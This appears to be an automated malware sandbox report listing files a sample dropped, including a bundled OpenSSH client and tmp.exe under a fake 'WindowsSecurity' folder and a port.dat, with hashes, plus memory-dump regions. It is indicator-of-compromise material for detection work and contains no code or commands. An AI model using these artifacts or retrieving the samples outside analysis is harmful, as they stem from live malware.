C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
0b1c28bb71189e9cfcebbac09d0b4116

SHA1
646a0700cb5e3b33eb5b51737c0553ca2128f27b

SHA256
908e5a2e9430136ff11acd33444a0f299ada9412e56edcb47b06f61bc6752fdd

SHA512
dd174e454f1d8824a7491f11968569c7f2098ed22478011f46e03d29203e57ede0de4969d01190adfe12d2844330e16d8910f852517eca62b7ecba7b7250b80a

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
a7f8cbc8e861c55eedf9d832099a4383

SHA1
ba4b098b965a68b9405c6b92fc8aff5cf056bdcc

SHA256
feff08dfa5820817196a7988ff3a4be2c30a31546d187348ee193281a402d2fe

SHA512
825675d36a6a2eb0bbed89a8b03f05a846754d7c94cbea80f1d8ca8f9d51ad7ed82a5f40171c2b286ae46117fbd892b705ef6e62dc29e0235df0b98978d9d94f

Download Submit
C:\Users\Admin\AppData\Local\Temp\CabD71F.tmp

Filesize
61KB

MD5
f3441b8572aae8801c04f3060b550443

SHA1
4ef0a35436125d6821831ef36c28ffaf196cda15

SHA256
6720349e7d82ee0a8e73920d3c2b7cb2912d9fcf2edb6fd98f2f12820158b0bf

SHA512
5ba01ba421b50030e380ae6bbcd2f681f2a91947fe7fedb3c8e6b5f24dce9517abf57b1cf26cc6078d4bb53bde6fcfb2561591337c841f8f2cb121a3d71661b9

Download Submit
C:\Users\Admin\AppData\Local\Temp\TarD7AF.tmp

Filesize
163KB

MD5
9441737383d21192400eca82fda910ec

SHA1
725e0d606a4fc9ba44aa8ffde65bed15e65367e4

SHA256
bc3a6e84e41faeb57e7c21aa3b60c2a64777107009727c5b7c0ed8fe658909e5

SHA512
7608dd653a66cd364392a78d4711b48d1707768d36996e4d38871c6843b5714e1d7da4b4cc6db969e6000cfa182bcb74216ef6823d1063f036fc5c3413fb8dcf

Download Submit
C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\libcrypto.dll

Filesize
1.5MB

MD5
79a6e2268dfdba1d94c27f4b17265ff4

SHA1
b17eed8cb6f454700f8bfcfd315d5627d3cf741c

SHA256
6562ae65844bd9bb6d70908bfb67bc03e85053e6e0673457b0341a7ad5a957d5

SHA512
3ebe640a6395f6fbcfb28afe6383b8911f2d30847699dcbcbe1a0f5d9e090a9b7f714d5aa4e6a9891e72109edf494efaf0b7b2bb954e2763b1fbba2946c9723c

Download Submit
C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe

Filesize
914KB

MD5
d1ce628a81ab779f1e8f7bf7df1bb32c

SHA1
011c90c704bb4782001d6e6ce1c647bf2bb17e01

SHA256
2afb05a73ddb32ae71ebdc726a9956d844bf8f0deba339928ca8edce6427df71

SHA512
de44fff7a679138bae71103190ab450b17590df3c3dde466a54da80d2102a04fc6e12ad65448d9d935e01b577651121184b63133be6cb010aaa32d39786c740f

Download Submit
C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe

Filesize
914KB

MD5
d1ce628a81ab779f1e8f7bf7df1bb32c

SHA1
011c90c704bb4782001d6e6ce1c647bf2bb17e01

SHA256
2afb05a73ddb32ae71ebdc726a9956d844bf8f0deba339928ca8edce6427df71

SHA512
de44fff7a679138bae71103190ab450b17590df3c3dde466a54da80d2102a04fc6e12ad65448d9d935e01b577651121184b63133be6cb010aaa32d39786c740f

Download Submit
C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe

Filesize
914KB

MD5
d1ce628a81ab779f1e8f7bf7df1bb32c

SHA1
011c90c704bb4782001d6e6ce1c647bf2bb17e01

SHA256
2afb05a73ddb32ae71ebdc726a9956d844bf8f0deba339928ca8edce6427df71

SHA512
de44fff7a679138bae71103190ab450b17590df3c3dde466a54da80d2102a04fc6e12ad65448d9d935e01b577651121184b63133be6cb010aaa32d39786c740f

Download Submit
C:\Users\Admin\AppData\Local\WindowsSecurity\tmp.exe

Filesize
426KB

MD5
ef43d260ba94eea5dad184fcb6e1abcf

SHA1
2cad3eaa11d5842b430ca28c9d185bc82d7661d1

SHA256
8db489ea34fc35ad43552af9629978af98c14b947c058ef1a5d0e645a90c3458

SHA512
de879cf97066e6ca3c39200f01407dca79838ce03e2b3280aa37ab725aae96e9a15d6ad3a200ce184d3c1b7102a666c4ae051a8453fbca0ef9f6e38ec0942d0a

Download Submit
C:\Users\Admin\AppData\Local\WindowsSecurity\tmp.exe

Filesize
426KB

MD5
ef43d260ba94eea5dad184fcb6e1abcf

SHA1
2cad3eaa11d5842b430ca28c9d185bc82d7661d1

SHA256
8db489ea34fc35ad43552af9629978af98c14b947c058ef1a5d0e645a90c3458

SHA512
de879cf97066e6ca3c39200f01407dca79838ce03e2b3280aa37ab725aae96e9a15d6ad3a200ce184d3c1b7102a666c4ae051a8453fbca0ef9f6e38ec0942d0a

Download Submit
C:\Users\Admin\AppData\Local\WindowsSecurity\tmp.exe

Filesize
426KB

MD5
ef43d260ba94eea5dad184fcb6e1abcf

SHA1
2cad3eaa11d5842b430ca28c9d185bc82d7661d1

SHA256
8db489ea34fc35ad43552af9629978af98c14b947c058ef1a5d0e645a90c3458

SHA512
de879cf97066e6ca3c39200f01407dca79838ce03e2b3280aa37ab725aae96e9a15d6ad3a200ce184d3c1b7102a666c4ae051a8453fbca0ef9f6e38ec0942d0a

Download Submit
C:\Users\Admin\AppData\Local\j615vue6hx\port.dat

Filesize
4B

MD5
86c51678350f656dcc7f490a43946ee5

SHA1
ada6ca3cfb4aed0fc3a524aa108d147f4786d14e

SHA256
98eb1f769cc46eb269ebbc76ebc73b6b2e212782ac2dc85d00ad839b8aaf6eed

SHA512
5c743f1e434bc4f5ab5281276601342e06d350cdc81271bd3699873c0433cedbbf48730350558d6664bc6c8c8e0cdb4bfeeccb35644e375481476281e8790789

Download Submit
\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\libcrypto.dll

Filesize
1.5MB

MD5
79a6e2268dfdba1d94c27f4b17265ff4

SHA1
b17eed8cb6f454700f8bfcfd315d5627d3cf741c

SHA256
6562ae65844bd9bb6d70908bfb67bc03e85053e6e0673457b0341a7ad5a957d5

SHA512
3ebe640a6395f6fbcfb28afe6383b8911f2d30847699dcbcbe1a0f5d9e090a9b7f714d5aa4e6a9891e72109edf494efaf0b7b2bb954e2763b1fbba2946c9723c

Download Submit
\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\libcrypto.dll

Filesize
1.5MB

MD5
79a6e2268dfdba1d94c27f4b17265ff4

SHA1
b17eed8cb6f454700f8bfcfd315d5627d3cf741c

SHA256
6562ae65844bd9bb6d70908bfb67bc03e85053e6e0673457b0341a7ad5a957d5

SHA512
3ebe640a6395f6fbcfb28afe6383b8911f2d30847699dcbcbe1a0f5d9e090a9b7f714d5aa4e6a9891e72109edf494efaf0b7b2bb954e2763b1fbba2946c9723c

Download Submit
memory/876-128-0x000007FEF51E0000-0x000007FEF5BCC000-memory.dmp

Filesize
9.9MB

Download
memory/876-134-0x000007FEF51E0000-0x000007FEF5BCC000-memory.dmp

Filesize
9.9MB

Download
memory/2612-0-0x00000000012F0000-0x000000000135C000-memory.dmp

Filesize
432KB

Download
memory/2612-5-0x000007FEF5BD0000-0x000007FEF65BC000-memory.dmp

Filesize
9.9MB

Download
memory/2612-2-0x000000001A7A0000-0x000000001A820000-memory.dmp

Filesize
512KB

Download
memory/2612-1-0x000007FEF5BD0000-0x000007FEF65BC000-memory.dmp

Filesize
9.9MB

Download
memory/2996-14-0x000007FEF51E0000-0x000007FEF5BCC000-memory.dmp

Filesize
9.9MB

Download
memory/2996-11-0x000000001B210000-0x000000001B290000-memory.dmp

Filesize
512KB

Download
memory/2996-9-0x0000000001370000-0x00000000013DC000-memory.dmp

Filesize
432KB

Download
memory/2996-10-0x000007FEF51E0000-0x000007FEF5BCC000-memory.dmp

Filesize
9.9MB

Download